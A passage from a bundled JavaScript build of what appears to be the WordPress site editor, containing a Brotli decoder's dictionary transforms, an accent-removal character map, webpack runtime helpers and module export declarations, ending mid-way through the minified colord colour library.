    buf[i + p] = this.buffer[this.pos + p];

  this.pos += count;
  return count;
}

exports.BrotliInput = BrotliInput;

function BrotliOutput(buf) {
  this.buffer = buf;
  this.pos = 0;
}

BrotliOutput.prototype.write = function(buf, count) {
  if (this.pos + count > this.buffer.length)
    throw new Error('Output buffer is not large enough');

  this.buffer.set(buf.subarray(0, count), this.pos);
  this.pos += count;
  return count;
};

exports.BrotliOutput = BrotliOutput;

},{}],11:[function(require,module,exports){
/* Copyright 2013 Google Inc. All Rights Reserved.

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

   http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

   Transformations on dictionary words.
*/

var BrotliDictionary = require('./dictionary');

var kIdentity       = 0;
var kOmitLast1      = 1;
var kOmitLast2      = 2;
var kOmitLast3      = 3;
var kOmitLast4      = 4;
var kOmitLast5      = 5;
var kOmitLast6      = 6;
var kOmitLast7      = 7;
var kOmitLast8      = 8;
var kOmitLast9      = 9;
var kUppercaseFirst = 10;
var kUppercaseAll   = 11;
var kOmitFirst1     = 12;
var kOmitFirst2     = 13;
var kOmitFirst3     = 14;
var kOmitFirst4     = 15;
var kOmitFirst5     = 16;
var kOmitFirst6     = 17;
var kOmitFirst7     = 18;
var kOmitFirst8     = 19;
var kOmitFirst9     = 20;

function Transform(prefix, transform, suffix) {
  this.prefix = new Uint8Array(prefix.length);
  this.transform = transform;
  this.suffix = new Uint8Array(suffix.length);

  for (var i = 0; i < prefix.length; i++)
    this.prefix[i] = prefix.charCodeAt(i);

  for (var i = 0; i < suffix.length; i++)
    this.suffix[i] = suffix.charCodeAt(i);
}

var kTransforms = [
     new Transform(         "", kIdentity,       ""           ),
     new Transform(         "", kIdentity,       " "          ),
     new Transform(        " ", kIdentity,       " "          ),
     new Transform(         "", kOmitFirst1,     ""           ),
     new Transform(         "", kUppercaseFirst, " "          ),
     new Transform(         "", kIdentity,       " the "      ),
     new Transform(        " ", kIdentity,       ""           ),
     new Transform(       "s ", kIdentity,       " "          ),
     new Transform(         "", kIdentity,       " of "       ),
     new Transform(         "", kUppercaseFirst, ""           ),
     new Transform(         "", kIdentity,       " and "      ),
     new Transform(         "", kOmitFirst2,     ""           ),
     new Transform(         "", kOmitLast1,      ""           ),
     new Transform(       ", ", kIdentity,       " "          ),
     new Transform(         "", kIdentity,       ", "         ),
     new Transform(        " ", kUppercaseFirst, " "          ),
     new Transform(         "", kIdentity,       " in "       ),
     new Transform(         "", kIdentity,       " to "       ),
     new Transform(       "e ", kIdentity,       " "          ),
     new Transform(         "", kIdentity,       "\""         ),
     new Transform(         "", kIdentity,       "."          ),
     new Transform(         "", kIdentity,       "\">"        ),
     new Transform(         "", kIdentity,       "\n"         ),
     new Transform(         "", kOmitLast3,      ""           ),
     new Transform(         "", kIdentity,       "]"          ),
     new Transform(         "", kIdentity,       " for "      ),
     new Transform(         "", kOmitFirst3,     ""           ),
     new Transform(         "", kOmitLast2,      ""           ),
     new Transform(         "", kIdentity,       " a "        ),
     new Transform(         "", kIdentity,       " that "     ),
     new Transform(        " ", kUppercaseFirst, ""           ),
     new Transform(         "", kIdentity,       ". "         ),
     new Transform(        ".", kIdentity,       ""           ),
     new Transform(        " ", kIdentity,       ", "         ),
     new Transform(         "", kOmitFirst4,     ""           ),
     new Transform(         "", kIdentity,       " with "     ),
     new Transform(         "", kIdentity,       "'"          ),
     new Transform(         "", kIdentity,       " from "     ),
     new Transform(         "", kIdentity,       " by "       ),
     new Transform(         "", kOmitFirst5,     ""           ),
     new Transform(         "", kOmitFirst6,     ""           ),
     new Transform(    " the ", kIdentity,       ""           ),
     new Transform(         "", kOmitLast4,      ""           ),
     new Transform(         "", kIdentity,       ". The "     ),
     new Transform(         "", kUppercaseAll,   ""           ),
     new Transform(         "", kIdentity,       " on "       ),
     new Transform(         "", kIdentity,       " as "       ),
     new Transform(         "", kIdentity,       " is "       ),
     new Transform(         "", kOmitLast7,      ""           ),
     new Transform(         "", kOmitLast1,      "ing "       ),
     new Transform(         "", kIdentity,       "\n\t"       ),
     new Transform(         "", kIdentity,       ":"          ),
     new Transform(        " ", kIdentity,       ". "         ),
     new Transform(         "", kIdentity,       "ed "        ),
     new Transform(         "", kOmitFirst9,     ""           ),
     new Transform(         "", kOmitFirst7,     ""           ),
     new Transform(         "", kOmitLast6,      ""           ),
     new Transform(         "", kIdentity,       "("          ),
     new Transform(         "", kUppercaseFirst, ", "         ),
     new Transform(         "", kOmitLast8,      ""           ),
     new Transform(         "", kIdentity,       " at "       ),
     new Transform(         "", kIdentity,       "ly "        ),
     new Transform(    " the ", kIdentity,       " of "       ),
     new Transform(         "", kOmitLast5,      ""           ),
     new Transform(         "", kOmitLast9,      ""           ),
     new Transform(        " ", kUppercaseFirst, ", "         ),
     new Transform(         "", kUppercaseFirst, "\""         ),
     new Transform(        ".", kIdentity,       "("          ),
     new Transform(         "", kUppercaseAll,   " "          ),
     new Transform(         "", kUppercaseFirst, "\">"        ),
     new Transform(         "", kIdentity,       "=\""        ),
     new Transform(        " ", kIdentity,       "."          ),
     new Transform(    ".com/", kIdentity,       ""           ),
     new Transform(    " the ", kIdentity,       " of the "   ),
     new Transform(         "", kUppercaseFirst, "'"          ),
     new Transform(         "", kIdentity,       ". This "    ),
     new Transform(         "", kIdentity,       ","          ),
     new Transform(        ".", kIdentity,       " "          ),
     new Transform(         "", kUppercaseFirst, "("          ),
     new Transform(         "", kUppercaseFirst, "."          ),
     new Transform(         "", kIdentity,       " not "      ),
     new Transform(        " ", kIdentity,       "=\""        ),
     new Transform(         "", kIdentity,       "er "        ),
     new Transform(        " ", kUppercaseAll,   " "          ),
     new Transform(         "", kIdentity,       "al "        ),
     new Transform(        " ", kUppercaseAll,   ""           ),
     new Transform(         "", kIdentity,       "='"         ),
     new Transform(         "", kUppercaseAll,   "\""         ),
     new Transform(         "", kUppercaseFirst, ". "         ),
     new Transform(        " ", kIdentity,       "("          ),
     new Transform(         "", kIdentity,       "ful "       ),
     new Transform(        " ", kUppercaseFirst, ". "         ),
     new Transform(         "", kIdentity,       "ive "       ),
     new Transform(         "", kIdentity,       "less "      ),
     new Transform(         "", kUppercaseAll,   "'"          ),
     new Transform(         "", kIdentity,       "est "       ),
     new Transform(        " ", kUppercaseFirst, "."          ),
     new Transform(         "", kUppercaseAll,   "\">"        ),
     new Transform(        " ", kIdentity,       "='"         ),
     new Transform(         "", kUppercaseFirst, ","          ),
     new Transform(         "", kIdentity,       "ize "       ),
     new Transform(         "", kUppercaseAll,   "."          ),
     new Transform( "\xc2\xa0", kIdentity,       ""           ),
     new Transform(        " ", kIdentity,       ","          ),
     new Transform(         "", kUppercaseFirst, "=\""        ),
     new Transform(         "", kUppercaseAll,   "=\""        ),
     new Transform(         "", kIdentity,       "ous "       ),
     new Transform(         "", kUppercaseAll,   ", "         ),
     new Transform(         "", kUppercaseFirst, "='"         ),
     new Transform(        " ", kUppercaseFirst, ","          ),
     new Transform(        " ", kUppercaseAll,   "=\""        ),
     new Transform(        " ", kUppercaseAll,   ", "         ),
     new Transform(         "", kUppercaseAll,   ","          ),
     new Transform(         "", kUppercaseAll,   "("          ),
     new Transform(         "", kUppercaseAll,   ". "         ),
     new Transform(        " ", kUppercaseAll,   "."          ),
     new Transform(         "", kUppercaseAll,   "='"         ),
     new Transform(        " ", kUppercaseAll,   ". "         ),
     new Transform(        " ", kUppercaseFirst, "=\""        ),
     new Transform(        " ", kUppercaseAll,   "='"         ),
     new Transform(        " ", kUppercaseFirst, "='"         )
];

exports.kTransforms = kTransforms;
exports.kNumTransforms = kTransforms.length;

function ToUpperCase(p, i) {
  if (p[i] < 0xc0) {
    if (p[i] >= 97 && p[i] <= 122) {
      p[i] ^= 32;
    }
    return 1;
  }

  /* An overly simplified uppercasing model for utf-8. */
  if (p[i] < 0xe0) {
    p[i + 1] ^= 32;
    return 2;
  }

  /* An arbitrary transform for three byte characters. */
  p[i + 2] ^= 5;
  return 3;
}

exports.transformDictionaryWord = function(dst, idx, word, len, transform) {
  var prefix = kTransforms[transform].prefix;
  var suffix = kTransforms[transform].suffix;
  var t = kTransforms[transform].transform;
  var skip = t < kOmitFirst1 ? 0 : t - (kOmitFirst1 - 1);
  var i = 0;
  var start_idx = idx;
  var uppercase;

  if (skip > len) {
    skip = len;
  }

  var prefix_pos = 0;
  while (prefix_pos < prefix.length) {
    dst[idx++] = prefix[prefix_pos++];
  }

  word += skip;
  len -= skip;

  if (t <= kOmitLast9) {
    len -= t;
  }

  for (i = 0; i < len; i++) {
    dst[idx++] = BrotliDictionary.dictionary[word + i];
  }

  uppercase = idx - len;

  if (t === kUppercaseFirst) {
    ToUpperCase(dst, uppercase);
  } else if (t === kUppercaseAll) {
    while (len > 0) {
      var step = ToUpperCase(dst, uppercase);
      uppercase += step;
      len -= step;
    }
  }

  var suffix_pos = 0;
  while (suffix_pos < suffix.length) {
    dst[idx++] = suffix[suffix_pos++];
  }

  return idx - start_idx;
}

},{"./dictionary":6}],12:[function(require,module,exports){
module.exports = require('./dec/decode').BrotliDecompressBuffer;

},{"./dec/decode":3}]},{},[12])(12)
});
/* eslint-enable */


/***/ }),

/***/ 9681:
/***/ ((module) => {

var characterMap = {
	"À": "A",
	"Á": "A",
	"Â": "A",
	"Ã": "A",
	"Ä": "A",
	"Å": "A",
	"Ấ": "A",
	"Ắ": "A",
	"Ẳ": "A",
	"Ẵ": "A",
	"Ặ": "A",
	"Æ": "AE",
	"Ầ": "A",
	"Ằ": "A",
	"Ȃ": "A",
	"Ả": "A",
	"Ạ": "A",
	"Ẩ": "A",
	"Ẫ": "A",
	"Ậ": "A",
	"Ç": "C",
	"Ḉ": "C",
	"È": "E",
	"É": "E",
	"Ê": "E",
	"Ë": "E",
	"Ế": "E",
	"Ḗ": "E",
	"Ề": "E",
	"Ḕ": "E",
	"Ḝ": "E",
	"Ȇ": "E",
	"Ẻ": "E",
	"Ẽ": "E",
	"Ẹ": "E",
	"Ể": "E",
	"Ễ": "E",
	"Ệ": "E",
	"Ì": "I",
	"Í": "I",
	"Î": "I",
	"Ï": "I",
	"Ḯ": "I",
	"Ȋ": "I",
	"Ỉ": "I",
	"Ị": "I",
	"Ð": "D",
	"Ñ": "N",
	"Ò": "O",
	"Ó": "O",
	"Ô": "O",
	"Õ": "O",
	"Ö": "O",
	"Ø": "O",
	"Ố": "O",
	"Ṍ": "O",
	"Ṓ": "O",
	"Ȏ": "O",
	"Ỏ": "O",
	"Ọ": "O",
	"Ổ": "O",
	"Ỗ": "O",
	"Ộ": "O",
	"Ờ": "O",
	"Ở": "O",
	"Ỡ": "O",
	"Ớ": "O",
	"Ợ": "O",
	"Ù": "U",
	"Ú": "U",
	"Û": "U",
	"Ü": "U",
	"Ủ": "U",
	"Ụ": "U",
	"Ử": "U",
	"Ữ": "U",
	"Ự": "U",
	"Ý": "Y",
	"à": "a",
	"á": "a",
	"â": "a",
	"ã": "a",
	"ä": "a",
	"å": "a",
	"ấ": "a",
	"ắ": "a",
	"ẳ": "a",
	"ẵ": "a",
	"ặ": "a",
	"æ": "ae",
	"ầ": "a",
	"ằ": "a",
	"ȃ": "a",
	"ả": "a",
	"ạ": "a",
	"ẩ": "a",
	"ẫ": "a",
	"ậ": "a",
	"ç": "c",
	"ḉ": "c",
	"è": "e",
	"é": "e",
	"ê": "e",
	"ë": "e",
	"ế": "e",
	"ḗ": "e",
	"ề": "e",
	"ḕ": "e",
	"ḝ": "e",
	"ȇ": "e",
	"ẻ": "e",
	"ẽ": "e",
	"ẹ": "e",
	"ể": "e",
	"ễ": "e",
	"ệ": "e",
	"ì": "i",
	"í": "i",
	"î": "i",
	"ï": "i",
	"ḯ": "i",
	"ȋ": "i",
	"ỉ": "i",
	"ị": "i",
	"ð": "d",
	"ñ": "n",
	"ò": "o",
	"ó": "o",
	"ô": "o",
	"õ": "o",
	"ö": "o",
	"ø": "o",
	"ố": "o",
	"ṍ": "o",
	"ṓ": "o",
	"ȏ": "o",
	"ỏ": "o",
	"ọ": "o",
	"ổ": "o",
	"ỗ": "o",
	"ộ": "o",
	"ờ": "o",
	"ở": "o",
	"ỡ": "o",
	"ớ": "o",
	"ợ": "o",
	"ù": "u",
	"ú": "u",
	"û": "u",
	"ü": "u",
	"ủ": "u",
	"ụ": "u",
	"ử": "u",
	"ữ": "u",
	"ự": "u",
	"ý": "y",
	"ÿ": "y",
	"Ā": "A",
	"ā": "a",
	"Ă": "A",
	"ă": "a",
	"Ą": "A",
	"ą": "a",
	"Ć": "C",
	"ć": "c",
	"Ĉ": "C",
	"ĉ": "c",
	"Ċ": "C",
	"ċ": "c",
	"Č": "C",
	"č": "c",
	"C̆": "C",
	"c̆": "c",
	"Ď": "D",
	"ď": "d",
	"Đ": "D",
	"đ": "d",
	"Ē": "E",
	"ē": "e",
	"Ĕ": "E",
	"ĕ": "e",
	"Ė": "E",
	"ė": "e",
	"Ę": "E",
	"ę": "e",
	"Ě": "E",
	"ě": "e",
	"Ĝ": "G",
	"Ǵ": "G",
	"ĝ": "g",
	"ǵ": "g",
	"Ğ": "G",
	"ğ": "g",
	"Ġ": "G",
	"ġ": "g",
	"Ģ": "G",
	"ģ": "g",
	"Ĥ": "H",
	"ĥ": "h",
	"Ħ": "H",
	"ħ": "h",
	"Ḫ": "H",
	"ḫ": "h",
	"Ĩ": "I",
	"ĩ": "i",
	"Ī": "I",
	"ī": "i",
	"Ĭ": "I",
	"ĭ": "i",
	"Į": "I",
	"į": "i",
	"İ": "I",
	"ı": "i",
	"IJ": "IJ",
	"ij": "ij",
	"Ĵ": "J",
	"ĵ": "j",
	"Ķ": "K",
	"ķ": "k",
	"Ḱ": "K",
	"ḱ": "k",
	"K̆": "K",
	"k̆": "k",
	"Ĺ": "L",
	"ĺ": "l",
	"Ļ": "L",
	"ļ": "l",
	"Ľ": "L",
	"ľ": "l",
	"Ŀ": "L",
	"ŀ": "l",
	"Ł": "l",
	"ł": "l",
	"Ḿ": "M",
	"ḿ": "m",
	"M̆": "M",
	"m̆": "m",
	"Ń": "N",
	"ń": "n",
	"Ņ": "N",
	"ņ": "n",
	"Ň": "N",
	"ň": "n",
	"ʼn": "n",
	"N̆": "N",
	"n̆": "n",
	"Ō": "O",
	"ō": "o",
	"Ŏ": "O",
	"ŏ": "o",
	"Ő": "O",
	"ő": "o",
	"Œ": "OE",
	"œ": "oe",
	"P̆": "P",
	"p̆": "p",
	"Ŕ": "R",
	"ŕ": "r",
	"Ŗ": "R",
	"ŗ": "r",
	"Ř": "R",
	"ř": "r",
	"R̆": "R",
	"r̆": "r",
	"Ȓ": "R",
	"ȓ": "r",
	"Ś": "S",
	"ś": "s",
	"Ŝ": "S",
	"ŝ": "s",
	"Ş": "S",
	"Ș": "S",
	"ș": "s",
	"ş": "s",
	"Š": "S",
	"š": "s",
	"Ţ": "T",
	"ţ": "t",
	"ț": "t",
	"Ț": "T",
	"Ť": "T",
	"ť": "t",
	"Ŧ": "T",
	"ŧ": "t",
	"T̆": "T",
	"t̆": "t",
	"Ũ": "U",
	"ũ": "u",
	"Ū": "U",
	"ū": "u",
	"Ŭ": "U",
	"ŭ": "u",
	"Ů": "U",
	"ů": "u",
	"Ű": "U",
	"ű": "u",
	"Ų": "U",
	"ų": "u",
	"Ȗ": "U",
	"ȗ": "u",
	"V̆": "V",
	"v̆": "v",
	"Ŵ": "W",
	"ŵ": "w",
	"Ẃ": "W",
	"ẃ": "w",
	"X̆": "X",
	"x̆": "x",
	"Ŷ": "Y",
	"ŷ": "y",
	"Ÿ": "Y",
	"Y̆": "Y",
	"y̆": "y",
	"Ź": "Z",
	"ź": "z",
	"Ż": "Z",
	"ż": "z",
	"Ž": "Z",
	"ž": "z",
	"ſ": "s",
	"ƒ": "f",
	"Ơ": "O",
	"ơ": "o",
	"Ư": "U",
	"ư": "u",
	"Ǎ": "A",
	"ǎ": "a",
	"Ǐ": "I",
	"ǐ": "i",
	"Ǒ": "O",
	"ǒ": "o",
	"Ǔ": "U",
	"ǔ": "u",
	"Ǖ": "U",
	"ǖ": "u",
	"Ǘ": "U",
	"ǘ": "u",
	"Ǚ": "U",
	"ǚ": "u",
	"Ǜ": "U",
	"ǜ": "u",
	"Ứ": "U",
	"ứ": "u",
	"Ṹ": "U",
	"ṹ": "u",
	"Ǻ": "A",
	"ǻ": "a",
	"Ǽ": "AE",
	"ǽ": "ae",
	"Ǿ": "O",
	"ǿ": "o",
	"Þ": "TH",
	"þ": "th",
	"Ṕ": "P",
	"ṕ": "p",
	"Ṥ": "S",
	"ṥ": "s",
	"X́": "X",
	"x́": "x",
	"Ѓ": "Г",
	"ѓ": "г",
	"Ќ": "К",
	"ќ": "к",
	"A̋": "A",
	"a̋": "a",
	"E̋": "E",
	"e̋": "e",
	"I̋": "I",
	"i̋": "i",
	"Ǹ": "N",
	"ǹ": "n",
	"Ồ": "O",
	"ồ": "o",
	"Ṑ": "O",
	"ṑ": "o",
	"Ừ": "U",
	"ừ": "u",
	"Ẁ": "W",
	"ẁ": "w",
	"Ỳ": "Y",
	"ỳ": "y",
	"Ȁ": "A",
	"ȁ": "a",
	"Ȅ": "E",
	"ȅ": "e",
	"Ȉ": "I",
	"ȉ": "i",
	"Ȍ": "O",
	"ȍ": "o",
	"Ȑ": "R",
	"ȑ": "r",
	"Ȕ": "U",
	"ȕ": "u",
	"B̌": "B",
	"b̌": "b",
	"Č̣": "C",
	"č̣": "c",
	"Ê̌": "E",
	"ê̌": "e",
	"F̌": "F",
	"f̌": "f",
	"Ǧ": "G",
	"ǧ": "g",
	"Ȟ": "H",
	"ȟ": "h",
	"J̌": "J",
	"ǰ": "j",
	"Ǩ": "K",
	"ǩ": "k",
	"M̌": "M",
	"m̌": "m",
	"P̌": "P",
	"p̌": "p",
	"Q̌": "Q",
	"q̌": "q",
	"Ř̩": "R",
	"ř̩": "r",
	"Ṧ": "S",
	"ṧ": "s",
	"V̌": "V",
	"v̌": "v",
	"W̌": "W",
	"w̌": "w",
	"X̌": "X",
	"x̌": "x",
	"Y̌": "Y",
	"y̌": "y",
	"A̧": "A",
	"a̧": "a",
	"B̧": "B",
	"b̧": "b",
	"Ḑ": "D",
	"ḑ": "d",
	"Ȩ": "E",
	"ȩ": "e",
	"Ɛ̧": "E",
	"ɛ̧": "e",
	"Ḩ": "H",
	"ḩ": "h",
	"I̧": "I",
	"i̧": "i",
	"Ɨ̧": "I",
	"ɨ̧": "i",
	"M̧": "M",
	"m̧": "m",
	"O̧": "O",
	"o̧": "o",
	"Q̧": "Q",
	"q̧": "q",
	"U̧": "U",
	"u̧": "u",
	"X̧": "X",
	"x̧": "x",
	"Z̧": "Z",
	"z̧": "z",
	"й":"и",
	"Й":"И",
	"ё":"е",
	"Ё":"Е",
};

var chars = Object.keys(characterMap).join('|');
var allAccents = new RegExp(chars, 'g');
var firstAccent = new RegExp(chars, '');

function matcher(match) {
	return characterMap[match];
}

var removeAccents = function(string) {
	return string.replace(allAccents, matcher);
};

var hasAccents = function(string) {
	return !!string.match(firstAccent);
};

module.exports = removeAccents;
module.exports.has = hasAccents;
module.exports.remove = removeAccents;


/***/ })

/******/ 	});
/************************************************************************/
/******/ 	// The module cache
/******/ 	var __webpack_module_cache__ = {};
/******/ 	
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/ 		// Check if module is in cache
/******/ 		var cachedModule = __webpack_module_cache__[moduleId];
/******/ 		if (cachedModule !== undefined) {
/******/ 			return cachedModule.exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = __webpack_module_cache__[moduleId] = {
/******/ 			// no module.id needed
/******/ 			// no module.loaded needed
/******/ 			exports: {}
/******/ 		};
/******/ 	
/******/ 		// Execute the module function
/******/ 		__webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/ 	
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/compat get default export */
/******/ 	(() => {
/******/ 		// getDefaultExport function for compatibility with non-harmony modules
/******/ 		__webpack_require__.n = (module) => {
/******/ 			var getter = module && module.__esModule ?
/******/ 				() => (module['default']) :
/******/ 				() => (module);
/******/ 			__webpack_require__.d(getter, { a: getter });
/******/ 			return getter;
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/create fake namespace object */
/******/ 	(() => {
/******/ 		var getProto = Object.getPrototypeOf ? (obj) => (Object.getPrototypeOf(obj)) : (obj) => (obj.__proto__);
/******/ 		var leafPrototypes;
/******/ 		// create a fake namespace object
/******/ 		// mode & 1: value is a module id, require it
/******/ 		// mode & 2: merge all properties of value into the ns
/******/ 		// mode & 4: return value when already ns object
/******/ 		// mode & 16: return value when it's Promise-like
/******/ 		// mode & 8|1: behave like require
/******/ 		__webpack_require__.t = function(value, mode) {
/******/ 			if(mode & 1) value = this(value);
/******/ 			if(mode & 8) return value;
/******/ 			if(typeof value === 'object' && value) {
/******/ 				if((mode & 4) && value.__esModule) return value;
/******/ 				if((mode & 16) && typeof value.then === 'function') return value;
/******/ 			}
/******/ 			var ns = Object.create(null);
/******/ 			__webpack_require__.r(ns);
/******/ 			var def = {};
/******/ 			leafPrototypes = leafPrototypes || [null, getProto({}), getProto([]), getProto(getProto)];
/******/ 			for(var current = mode & 2 && value; typeof current == 'object' && !~leafPrototypes.indexOf(current); current = getProto(current)) {
/******/ 				Object.getOwnPropertyNames(current).forEach((key) => (def[key] = () => (value[key])));
/******/ 			}
/******/ 			def['default'] = () => (value);
/******/ 			__webpack_require__.d(ns, def);
/******/ 			return ns;
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// This entry needs to be wrapped in an IIFE because it needs to be in strict mode.
(() => {
"use strict";
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);

// EXPORTS
__webpack_require__.d(__webpack_exports__, {
  PluginMoreMenuItem: () => (/* reexport */ PluginMoreMenuItem),
  PluginSidebar: () => (/* reexport */ PluginSidebar),
  PluginSidebarMoreMenuItem: () => (/* reexport */ PluginSidebarMoreMenuItem),
  PluginTemplateSettingPanel: () => (/* reexport */ plugin_template_setting_panel),
  initializeEditor: () => (/* binding */ initializeEditor),
  initializePostsDashboard: () => (/* reexport */ initializePostsDashboard),
  reinitializeEditor: () => (/* binding */ reinitializeEditor),
  store: () => (/* reexport */ store)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-site/build-module/store/actions.js
var actions_namespaceObject = {};
__webpack_require__.r(actions_namespaceObject);
__webpack_require__.d(actions_namespaceObject, {
  __experimentalSetPreviewDeviceType: () => (__experimentalSetPreviewDeviceType),
  addTemplate: () => (addTemplate),
  closeGeneralSidebar: () => (closeGeneralSidebar),
  openGeneralSidebar: () => (openGeneralSidebar),
  openNavigationPanelToMenu: () => (openNavigationPanelToMenu),
  removeTemplate: () => (removeTemplate),
  revertTemplate: () => (revertTemplate),
  setEditedEntity: () => (setEditedEntity),
  setEditedPostContext: () => (setEditedPostContext),
  setHasPageContentFocus: () => (setHasPageContentFocus),
  setHomeTemplateId: () => (setHomeTemplateId),
  setIsInserterOpened: () => (setIsInserterOpened),
  setIsListViewOpened: () => (setIsListViewOpened),
  setIsNavigationPanelOpened: () => (setIsNavigationPanelOpened),
  setIsSaveViewOpened: () => (setIsSaveViewOpened),
  setNavigationMenu: () => (setNavigationMenu),
  setNavigationPanelActiveMenu: () => (setNavigationPanelActiveMenu),
  setPage: () => (setPage),
  setTemplate: () => (setTemplate),
  setTemplatePart: () => (setTemplatePart),
  switchEditorMode: () => (switchEditorMode),
  toggleDistractionFree: () => (toggleDistractionFree),
  toggleFeature: () => (toggleFeature),
  updateSettings: () => (updateSettings)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-site/build-module/store/private-actions.js
var private_actions_namespaceObject = {};
__webpack_require__.r(private_actions_namespaceObject);
__webpack_require__.d(private_actions_namespaceObject, {
  registerRoute: () => (registerRoute),
  setEditorCanvasContainerView: () => (setEditorCanvasContainerView),
  unregisterRoute: () => (unregisterRoute)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-site/build-module/store/selectors.js
var selectors_namespaceObject = {};
__webpack_require__.r(selectors_namespaceObject);
__webpack_require__.d(selectors_namespaceObject, {
  __experimentalGetInsertionPoint: () => (__experimentalGetInsertionPoint),
  __experimentalGetPreviewDeviceType: () => (__experimentalGetPreviewDeviceType),
  getCanUserCreateMedia: () => (getCanUserCreateMedia),
  getCurrentTemplateNavigationPanelSubMenu: () => (getCurrentTemplateNavigationPanelSubMenu),
  getCurrentTemplateTemplateParts: () => (getCurrentTemplateTemplateParts),
  getEditedPostContext: () => (getEditedPostContext),
  getEditedPostId: () => (getEditedPostId),
  getEditedPostType: () => (getEditedPostType),
  getEditorMode: () => (getEditorMode),
  getHomeTemplateId: () => (getHomeTemplateId),
  getNavigationPanelActiveMenu: () => (getNavigationPanelActiveMenu),
  getPage: () => (getPage),
  getReusableBlocks: () => (getReusableBlocks),
  getSettings: () => (getSettings),
  hasPageContentFocus: () => (hasPageContentFocus),
  isFeatureActive: () => (isFeatureActive),
  isInserterOpened: () => (isInserterOpened),
  isListViewOpened: () => (isListViewOpened),
  isNavigationOpened: () => (isNavigationOpened),
  isPage: () => (isPage),
  isSaveViewOpened: () => (isSaveViewOpened)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-site/build-module/store/private-selectors.js
var private_selectors_namespaceObject = {};
__webpack_require__.r(private_selectors_namespaceObject);
__webpack_require__.d(private_selectors_namespaceObject, {
  getEditorCanvasContainerView: () => (getEditorCanvasContainerView),
  getRoutes: () => (getRoutes)
});

;// external ["wp","blocks"]
const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
;// external ["wp","blockLibrary"]
const external_wp_blockLibrary_namespaceObject = window["wp"]["blockLibrary"];
;// external ["wp","data"]
const external_wp_data_namespaceObject = window["wp"]["data"];
;// external ["wp","deprecated"]
const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"];
var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject);
;// external ["wp","element"]
const external_wp_element_namespaceObject = window["wp"]["element"];
;// external ["wp","editor"]
const external_wp_editor_namespaceObject = window["wp"]["editor"];
;// external ["wp","preferences"]
const external_wp_preferences_namespaceObject = window["wp"]["preferences"];
;// external ["wp","widgets"]
const external_wp_widgets_namespaceObject = window["wp"]["widgets"];
;// external ["wp","hooks"]
const external_wp_hooks_namespaceObject = window["wp"]["hooks"];
;// external ["wp","compose"]
const external_wp_compose_namespaceObject = window["wp"]["compose"];
;// external ["wp","blockEditor"]
const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"];
;// external ["wp","components"]
const external_wp_components_namespaceObject = window["wp"]["components"];
;// external ["wp","i18n"]
const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
;// external ["wp","notices"]
const external_wp_notices_namespaceObject = window["wp"]["notices"];
;// external ["wp","coreData"]
const external_wp_coreData_namespaceObject = window["wp"]["coreData"];
;// ./node_modules/colord/index.mjs
var r={grad:.9,turn:360,rad:360/(2*Math.PI)},t=function(r){return"string"==typeof r?r.length>0:"number"==typeof r},n=function(r,t,n){return void 0===t&&(t=0),void 0===n&&(n=Math.pow(10,t)),Math.round(n*r)/n+0},e=function(r,t,n){return void 0===t&&(t=0),void 0===n&&(n=1),r>n?n:r>t?r:t},u=function(r){return(r=isFinite(r)?r%360:0)>0?r:r+360},a=function(r){return{r:e(r.r,0,255),g:e(r.g,0,255),b:e(r.b,0,255),a:e(r.a)}},o=function(r){return{r:n(r.r),g:n(r.g),b:n(r.b),a:n(r.a,3)}},i=/^#([0-9a-f]{3,8})$/i,s=function(r){var t=r.toString(16);return t.length<2?"0"+t:t},h=function(r){var t=r.r,n=r.g,e=r.b,u=r.a,a=Math.max(t,n,e),o=a-Math.min(t,n,e),i=o?a===t?(n-e)/o:a===n?2+(e-t)/o:4+(t-n)/o:0;return{h:60*(i<0?i+6:i),s:a?o/a*100:0,v:a/255*100,a:u}},b=function(r){var t=r.h,n=r.s,e=r.v,u=r.a;t=t/360*6,n/=100,e/=100;var 